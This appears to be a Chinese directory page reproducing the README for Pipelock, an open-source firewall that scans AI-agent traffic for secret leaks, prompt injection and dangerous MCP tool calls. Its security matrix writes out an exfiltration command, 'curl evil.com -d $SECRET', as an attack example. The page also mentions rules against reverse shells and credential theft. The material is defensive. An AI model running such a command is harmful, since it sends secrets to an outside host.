Pipelock
P

Pipelock

Pipelock是一个开源的AI代理防火墙,通过单二进制文件提供零运行时依赖的安全防护。它采用能力分离架构,在代理与互联网之间部署九层扫描管道,防止秘密泄露、提示注入和恶意工具调用。支持多种代理模式(Fetch代理、正向代理、WebSocket代理)和MCP代理,提供紧急停止开关、审计日志和SIEM集成等功能。
3分
0

安装

复制以下命令到你的Client进行配置
注意:您的密钥属于敏感信息,请勿与任何人分享。

🚀 Pipelock

Pipelock 是一款开源的 AI 代理防火墙,采用单二进制文件,无需运行时依赖。它能有效防止 AI 代理的密钥泄露和恶意请求,为 AI 应用提供安全保障。

🚀 快速开始

安装方式

# macOS / Linux
brew install luckyPipewrench/tap/pipelock

# 或者下载二进制文件(无依赖)
# 请查看 https://github.com/luckyPipewrench/pipelock/releases

# 或者使用 Docker
docker pull ghcr.io/luckypipewrench/pipelock:latest

# 或者从源代码构建(需要 Go 1.24+)
go install github.com/luckyPipewrench/pipelock/cmd/pipelock@latest

30 秒快速体验

# 1. 生成配置文件
pipelock generate config --preset balanced > pipelock.yaml

# 2. 此请求应被阻止(DLP 检测到伪造的 API 密钥)
pipelock check --config pipelock.yaml --url "https://example.com/?key=sk-ant-api03-fake1234567890"

# 3. 此请求应被允许(干净的 URL,无敏感信息)
pipelock check --config pipelock.yaml --url "https://docs.python.org/3/"

正向代理模式(无需更改代码,适用于任何 HTTP 客户端)

正向代理会拦截标准的 HTTPS_PROXY 流量。在配置文件中启用该模式,然后将任何进程指向 Pipelock:

# 编辑 pipelock.yaml:将 forward_proxy.enabled 设置为 true
pipelock run --config pipelock.yaml

export HTTPS_PROXY=http://127.0.0.1:8888
export HTTP_PROXY=http://127.0.0.1:8888

# 现在每个 HTTP 请求都会通过 Pipelock 的扫描器
curl "https://example.com/?key=sk-ant-api03-fake1234567890"  # 被阻止

无需 SDK、包装器或代码更改。只要代理使用 HTTP 协议,Pipelock 就能对其进行扫描。

获取代理模式(适用于使用专用获取工具的代理)

# 启动代理(代理连接到 localhost:8888/fetch?url=...)
pipelock run --config pipelock.yaml

# 实现完全网络隔离(代理只能访问 Pipelock)
pipelock generate docker-compose --agent claude-code -o docker-compose.yaml
docker compose up

验证版本完整性(SLSA 来源证明 + SBOM)

每个版本都包含 SLSA 构建来源证明和 SBOM(CycloneDX)。使用 GitHub CLI 进行验证:

# 验证下载的二进制文件
gh attestation verify pipelock_*_linux_amd64.tar.gz --owner luckyPipewrench

# 验证容器镜像(替换为实际的版本号)
gh attestation verify oci://ghcr.io/luckypipewrench/pipelock:<version> --owner luckyPipewrench

✨ 主要特性

9 层 URL 扫描器

每个请求都会经过以下检查:协议验证、域名黑名单、DLP 模式匹配(内置 36 种 API 密钥、令牌和凭证的匹配模式)、路径熵分析、子域名熵分析、SSRF 防护(防止 DNS 重绑定)、按域名限速、URL 长度限制和按域名数据预算控制。

DLP 在 DNS 解析之前运行,确保在任何 DNS 查询离开代理之前捕获敏感信息。完整的规避测试矩阵请参考 docs/bypass-resistance.md。

响应扫描

获取的内容在到达代理之前会进行提示注入扫描。通过 6 遍归一化处理,可捕获零宽度字符规避、同形替代、字母替换编码和 Base64 包装的有效负载。支持的操作包括:block(阻止)、strip(去除)、warn(警告)或 ask(人工确认)。

MCP 代理

对任何 MCP 服务器进行双向扫描。支持三种传输模式:标准输入输出子进程包装、可流式 HTTP 桥接和 HTTP 反向代理。对客户端请求进行 DLP 泄漏检查,对服务器响应进行注入扫描,并检查 tools/list 响应是否存在中毒描述和会话中恶意更改。

# 包装本地 MCP 服务器(标准输入输出)
pipelock mcp proxy --config pipelock.yaml -- npx -y @modelcontextprotocol/server-filesystem /tmp

# 代理远程 MCP 服务器(HTTP)
pipelock mcp proxy --upstream http://localhost:8080/mcp

# 组合模式(获取/正向代理 + MCP 在不同端口)
pipelock run --config pipelock.yaml --mcp-listen 0.0.0.0:8889 --mcp-upstream http://localhost:3000/mcp

MCP 工具策略

预执行规则可在危险工具调用到达 MCP 服务器之前进行阻止。内置 17 条规则,涵盖破坏性操作、凭证访问、反向 shell、持久化机制和编码命令执行。内置 shell 混淆检测功能。

工具调用链检测

检测 MCP 工具调用序列中的攻击模式。内置 10 种模式,涵盖侦察、凭证窃取、数据暂存、持久化和数据外泄链。使用可配置间隙容忍度的子序列匹配,确保插入无害调用不会逃避检测。

紧急开关

提供四种独立的激活源(配置文件、SIGUSR1、哨兵文件和远程 API)实现紧急全拒绝功能。任何一个激活源生效都会阻止所有流量。API 可以在单独的端口上运行,防止代理禁用自己的紧急开关。

# 从操作机器激活
curl -X POST http://localhost:9090/api/v1/killswitch \
  -H "Authorization: Bearer TOKEN" -d '{"active": true}'

事件发射

将审计事件转发到外部系统(SIEM、Webhook 接收器、Syslog)。事件采用即发即弃模式,不会阻塞代理。每个事件在适用情况下包含 MITRE ATT&CK 技术 ID(如 T1048 表示数据外泄,T1059 表示注入,T1195.002 表示供应链攻击)。

详细的日志架构、转发模式和示例 SIEM 查询请参考 docs/guides/siem-integration.md。

更多特性

特性 功能描述
审计报告 pipelock report --input events.jsonl 可生成包含风险评级、时间线和证据附录的 HTML/JSON 报告。使用 --sign 进行 Ed25519 签名。(示例报告)
诊断 pipelock diagnose 运行 6 项本地检查,验证配置是否端到端正常工作(无需网络)
TLS 拦截 可选的 CONNECT 隧道中间人攻击:解密、扫描请求体/头/响应,然后重新加密。pipelock tls init 生成 CA,pipelock tls install-ca 在系统范围内信任该 CA。
阻止提示 启用 explain_blocks: true 可在阻止响应中添加修复建议
项目审计 pipelock audit ./project 扫描项目中的安全风险并生成定制配置
文件完整性 SHA256 清单可检测工作区文件的修改、添加或删除
Git 保护 git diff | pipelock git scan-diff 在提交之前捕获敏感信息
Ed25519 签名 密钥管理、文件签名和签名验证,用于多代理信任
会话分析 按会话进行行为分析(域名突发、流量峰值)
自适应执行 按会话累积威胁分数并触发升级事件(v1 版本支持评分和日志记录)
发现抑制 通过配置规则或内联 pipelock:ignore 注释屏蔽已知的误报
多代理支持 通过 X-Pipelock-Agent 头识别代理,实现按代理过滤
集群监控 Prometheus 指标 + 可直接导入的 Grafana 仪表盘

📦 安装指南

不同环境安装方式

# macOS / Linux
brew install luckyPipewrench/tap/pipelock

# 或者下载二进制文件(无依赖)
# 请查看 https://github.com/luckyPipewrench/pipelock/releases

# 或者使用 Docker
docker pull ghcr.io/luckypipewrench/pipelock:latest

# 或者从源代码构建(需要 Go 1.24+)
go install github.com/luckyPipewrench/pipelock/cmd/pipelock@latest

验证版本完整性

# 验证下载的二进制文件
gh attestation verify pipelock_*_linux_amd64.tar.gz --owner luckyPipewrench

# 验证容器镜像(替换为实际的版本号)
gh attestation verify oci://ghcr.io/luckypipewrench/pipelock:<version> --owner luckyPipewrench

💻 使用示例

基础用法

# 生成配置文件
pipelock generate config --preset balanced > pipelock.yaml

# 检查 URL
pipelock check --config pipelock.yaml --url "https://example.com/?key=sk-ant-api03-fake1234567890"

高级用法

正向代理模式

# 编辑 pipelock.yaml:将 forward_proxy.enabled 设置为 true
pipelock run --config pipelock.yaml

export HTTPS_PROXY=http://127.0.0.1:8888
export HTTP_PROXY=http://127.0.0.1:8888

# 现在每个 HTTP 请求都会通过 Pipelock 的扫描器
curl "https://example.com/?key=sk-ant-api03-fake1234567890"  # 被阻止

获取代理模式

# 启动代理(代理连接到 localhost:8888/fetch?url=...)
pipelock run --config pipelock.yaml

# 实现完全网络隔离(代理只能访问 Pipelock)
pipelock generate docker-compose --agent claude-code -o docker-compose.yaml
docker compose up

MCP 代理

# 包装本地 MCP 服务器(标准输入输出)
pipelock mcp proxy --config pipelock.yaml -- npx -y @modelcontextprotocol/server-filesystem /tmp

# 代理远程 MCP 服务器(HTTP)
pipelock mcp proxy --upstream http://localhost:8080/mcp

# 组合模式(获取/正向代理 + MCP 在不同端口)
pipelock run --config pipelock.yaml --mcp-listen 0.0.0.0:8889 --mcp-upstream http://localhost:3000/mcp

📚 详细文档

配置参考

Configuration Reference 包含所有配置字段、默认值、热重载行为和预设配置。

部署方案

Deployment Recipes 提供 Docker Compose、K8s 边车 + NetworkPolicy、iptables、macOS PF 等部署方案。

绕过抗性

Bypass Resistance 介绍已知的规避技术、缓解措施和实际局限性。

已知攻击拦截

Known Attacks Blocked 展示实际攻击的重现代码片段以及阻止这些攻击的 Pipelock 配置。

策略规范

Policy Spec v0.1 定义了可移植的代理防火墙策略格式。

SIEM 集成

SIEM Integration 包含日志架构、转发模式和 KQL/SPL/EQL 查询示例。

指标参考

Metrics Reference 介绍所有 30 个 Prometheus 指标和警报规则模板。

OWASP 映射

OWASP Mapping 展示 Pipelock 对 OWASP Agentic AI Top 10 的覆盖情况。

比较分析

Comparison 对比 Pipelock 与 agent-scan、srt、agentsh、MCP Gateway 等工具的差异。

发现抑制

Finding Suppression 介绍规则名称、路径匹配、内联注释和 CI 集成等内容。

OpenClaw 指南

OpenClaw Guide 介绍网关边车、初始化容器和 generate mcporter 包装的使用方法。

安全保障

Security Assurance 阐述安全模型、信任边界和供应链相关内容。

传输模式

Transport Modes 比较所有代理模式及其扫描能力。

EU AI 法案映射

EU AI Act Mapping 提供逐条合规映射。

🔧 技术细节

工作原理

Pipelock 是一种 代理防火墙,类似于 Web 应用的 WAF,它位于 AI 代理和互联网之间。采用 能力分离 原则:代理进程(拥有敏感信息)受到网络限制,而 Pipelock(不持有代理敏感信息)通过 9 层扫描器管道检查所有流量。部署(如 Docker 网络隔离、Kubernetes NetworkPolicy 等)确保分离边界的实施。

支持三种代理模式,使用相同的端口:

  • 获取代理 (/fetch?url=...):Pipelock 获取 URL 内容,提取文本,扫描响应中的提示注入,并返回干净的内容。适用于使用专用获取工具的代理。
  • 正向代理 (HTTPS_PROXY):标准的 HTTP CONNECT 隧道和绝对 URI 转发。代理可以将 Pipelock 作为系统代理,无需更改代码。主机名扫描可在隧道打开之前捕获被阻止的域名和 SSRF 攻击。请求体和头的 DLP 扫描可捕获 POST 请求体和认证头中的敏感信息。可选的 TLS 拦截功能可解密 CONNECT 隧道,实现完整的请求体/头 DLP 和响应注入扫描(需要通过 pipelock tls initpipelock tls install-ca 进行 CA 设置)。
  • WebSocket 代理 (/ws?url=ws://...):双向帧扫描,对文本帧进行 DLP 和注入检测。内置片段重组、消息大小限制、空闲超时和连接生命周期控制功能。
flowchart LR
    subgraph PRIVILEGED["Privileged Zone"]
        Agent["AI Agent\n(has API keys)"]
    end
    subgraph FETCH["Firewall Zone"]
        Proxy["Pipelock\n(no agent secrets)"]
        Scanner["Scanner Pipeline\nSSRF · Blocklist · Rate Limit\nDLP · Env Leak · Entropy · Length"]
    end
    subgraph NET["Internet"]
        Web["Web"]
    end

    Agent -- "fetch URL\nCONNECT\nor WebSocket" --> Proxy
    Proxy --> Scanner
    Scanner -- "content or\ntunnel" --> Agent
    Scanner -- "request" --> Web
    Web -- "response" --> Scanner
    Scanner -- "clean content" --> Agent

    style PRIVILEGED fill:#fee,stroke:#c33
    style FETCH fill:#efe,stroke:#3a3
    style NET fill:#eef,stroke:#33c
文本图表(适用于终端或不支持 Mermaid 的渲染器)
┌──────────────────────┐         ┌───────────────────────┐
│  PRIVILEGED ZONE     │         │  FIREWALL ZONE        │
│                      │         │                       │
│  AI Agent            │  IPC    │  Pipelock             │
│  - Has API keys      │────────>│  - No agent secrets   │
│  - Has credentials   │ fetch / │  - Full internet      │
│  - Restricted network│ CONNECT │  - Returns text       │
│                      │ /ws     │  - WS frame scanning  │
│                      │<────────│  - URL scanning       │
│  Can reach:          │ content │  - Audit logging      │
│  ✓ api.anthropic.com │         │                       │
│  ✓ discord.com       │         │  Can reach:           │
│  ✗ evil.com          │         │  ✓ Any URL            │
│  ✗ pastebin.com      │         │  But has:             │
└──────────────────────┘         │  ✗ No env secrets     │
                                 │  ✗ No credentials     │
                                 └───────────────────────┘

安全矩阵

Pipelock 支持三种模式:

模式 安全性 网页浏览 使用场景
严格模式 仅允许白名单 受监管行业、高安全要求场景
平衡模式 阻止简单攻击,检测复杂攻击 通过获取或正向代理 大多数开发者(默认模式)
审计模式 仅记录日志 无限制 实施前评估

各模式对不同攻击向量的处理方式:

攻击向量 严格模式 平衡模式 审计模式
curl evil.com -d $SECRET 阻止 阻止 记录日志
URL 查询参数中的敏感信息 阻止 检测(DLP 扫描) 记录日志
URL 中的 Base64 编码敏感信息 阻止 检测(熵扫描) 记录日志
DNS 隧道攻击 阻止 检测(子域名熵分析) 记录日志
分块数据外泄 阻止 检测(速率和数据预算控制) 记录日志
URL 中的公钥加密数据块 阻止 记录日志(熵分析标记) 记录日志

客观评估:严格模式会阻止除白名单 API 域名之外的所有出站 HTTP 请求,因此不存在通过代理进行数据外泄的通道。平衡模式将攻击难度从“一个 curl 命令”提高到“复杂的预先计划攻击”。审计模式可提供当前所没有的可见性。Pipelock 不进行进程沙箱化或系统调用限制,它是一个内容检查层。为实现全面的纵深防御,建议将其与操作系统沙箱结合使用(详见 docs/comparison.md)。

项目结构

cmd/pipelock/          CLI 入口点
internal/
  cli/                 20 多个 Cobra 命令(run, check, generate, mcp, integrity, ...)
  config/              YAML 配置、验证、默认值、热重载(fsnotify)
  scanner/             9 层 URL 扫描管道 + 响应注入检测
  audit/               结构化 JSON 日志记录(zerolog) + 事件发射分发
  proxy/               HTTP 代理:获取、正向(CONNECT)、WebSocket、DNS 固定、TLS 拦截
  certgen/             ECDSA P-256 CA + 叶证书生成、缓存
  mcp/                 MCP 代理 + 双向扫描 + 工具中毒检测 + 调用链检测
  killswitch/          紧急全拒绝(4 种激活源) + 端口隔离的 API
  emit/                事件发射(Webhook + Syslog 接收器)
  metrics/             Prometheus 指标 + JSON 统计信息
  normalize/           Unicode 归一化(NFKC、易混淆字符、组合标记)
  integrity/           SHA256 文件完整性监控
  signing/             Ed25519 密钥管理
  gitprotect/          Git 差异扫描,防止敏感信息提交
  hitl/                人工确认终端批准
  report/              从 JSONL 事件日志生成 HTML/JSON 审计报告
  projectscan/         项目目录扫描,用于审计命令
enterprise/            多代理功能(ELv2 许可,详见 enterprise/LICENSE)
configs/               7 个预设配置文件
docs/                  指南、参考文档、合规映射

测试指标

指标
Go 测试(带 -race 5450+
语句覆盖率 91%+
测试的规避技术 230+
扫描器管道开销 每个 URL 扫描约 37μs (性能详情)
CI 矩阵 Go 1.24 + 1.25, CodeQL, golangci-lint
供应链 SLSA 来源证明,CycloneDX SBOM,cosign 签名
OpenSSF Scorecard 实时得分

在本地运行 make test 进行验证。性能数据请参考 docs/performance.md。原始基准测试数据请参考 docs/benchmarks.md。

独立基准测试:agent-egress-bench(涵盖 8 个类别共 72 种攻击场景,工具中立)。

📄 许可证

Pipelock 核心采用 Apache License 2.0 许可。版权所有 2026 Joshua Waldrep。

多代理功能(按代理身份、预算和配置隔离)由 enterprise 构建标签控制,并采用 Elastic License 2.0 (ELv2) 许可。主要实现位于 enterprise/ 目录,构建标签控制的集成代码位于 cmd/internal/ 目录。这些功能需要有效的企业许可证密钥。

开源核心可以独立运行,无需企业功能。

预构建的发布工件(Homebrew、GitHub 发布、Docker 镜像)包含企业代码,使用有效许可证密钥即可激活。使用 go install 从源代码构建或使用仓库的 Dockerfile 构建将生成仅包含社区版的二进制文件。

请查看 LICENSE 获取 Apache 2.0 许可证文本,查看 enterprise/LICENSE 获取 ELv2 许可证文本。

替代品

V
Vestige
Vestige是一个基于认知科学的AI记忆引擎,通过实现预测误差门控、FSRS-6间隔重复、记忆梦境等29个神经科学模块,为AI提供长期记忆能力。包含3D可视化仪表板和21个MCP工具,完全本地运行,无需云端。
Rust
4.5K
4.5分
M
Moltbrain
MoltBrain是一个为OpenClaw、MoltBook和Claude Code设计的长期记忆层插件,能够自动学习和回忆项目上下文,提供智能搜索、观察记录、分析统计和持久化存储功能。
TypeScript
5.0K
4.5分
B
Bm.md
一个功能丰富的Markdown排版工具,支持多种样式主题和平台适配,提供实时编辑预览、图片导出和API集成能力
TypeScript
3.4K
5分
S
Security Detections MCP
Security Detections MCP 是一个基于Model Context Protocol的服务器,允许LLM查询统一的安全检测规则数据库,涵盖Sigma、Splunk ESCU、Elastic和KQL格式。最新3.0版本升级为自主检测工程平台,可自动从威胁情报中提取TTPs、分析覆盖差距、生成SIEM原生格式检测规则、运行测试并验证。项目包含71+工具、11个预构建工作流提示和知识图谱系统,支持多SIEM平台。
TypeScript
6.0K
4分
P
Paperbanana
PaperBanana是一个自动化生成学术图表和统计图的智能框架,支持从文本描述生成高质量的论文插图,采用多智能体管道和迭代优化,提供CLI、Python API和MCP服务器等多种使用方式。
Python
7.5K
5分
B
Better Icons
一个提供超过20万图标搜索和检索的MCP服务器和CLI工具,支持150多个图标库,帮助AI助手和开发者快速获取和使用图标。
TypeScript
6.6K
4.5分
A
Assistant Ui
assistant-ui是一个开源TypeScript/React库,用于快速构建生产级AI聊天界面,提供可组合的UI组件、流式响应、无障碍访问等功能,支持多种AI后端和模型。
TypeScript
7.2K
5分
A
Apify MCP Server
Apify MCP服务器是一个基于模型上下文协议(MCP)的工具,允许AI助手通过数千个现成的爬虫、抓取器和自动化工具(Apify Actor)从社交媒体、搜索引擎、电商等网站提取数据。它支持OAuth和Skyfire代理支付,可通过HTTPS端点或本地stdio方式集成到Claude、VS Code等MCP客户端中。
TypeScript
7.4K
5分
F
Figma Context MCP
Framelink Figma MCP Server是一个为AI编程工具(如Cursor)提供Figma设计数据访问的服务器,通过简化Figma API响应,帮助AI更准确地实现设计到代码的一键转换。
TypeScript
74.4K
4.5分
F
Firecrawl MCP Server
Firecrawl MCP Server是一个集成Firecrawl网页抓取能力的模型上下文协议服务器,提供丰富的网页抓取、搜索和内容提取功能。
TypeScript
150.7K
5分
D
Duckduckgo MCP Server
已认证
DuckDuckGo搜索MCP服务器,为Claude等LLM提供网页搜索和内容抓取服务
Python
85.5K
4.3分
E
Edgeone Pages MCP Server
EdgeOne Pages MCP是一个通过MCP协议快速部署HTML内容到EdgeOne Pages并获取公开URL的服务
TypeScript
33.0K
4.8分
B
Baidu Map
已认证
百度地图MCP Server是国内首个兼容MCP协议的地图服务,提供地理编码、路线规划等10个标准化API接口,支持Python和Typescript快速接入,赋能智能体实现地图相关功能。
Python
50.1K
4.5分
M
Minimax MCP Server
MiniMax Model Context Protocol (MCP) 是一个官方服务器,支持与强大的文本转语音、视频/图像生成API交互,适用于多种客户端工具如Claude Desktop、Cursor等。
Python
63.6K
4.8分
C
Context7
Context7 MCP是一个为AI编程助手提供实时、版本特定文档和代码示例的服务,通过Model Context Protocol直接集成到提示中,解决LLM使用过时信息的问题。
TypeScript
106.6K
4.7分
E
Exa Web Search
已认证
Exa MCP Server是一个为AI助手(如Claude)提供网络搜索功能的服务器,通过Exa AI搜索API实现实时、安全的网络信息获取。
TypeScript
57.2K
5分
AIBase
智启未来,您的人工智能解决方案智库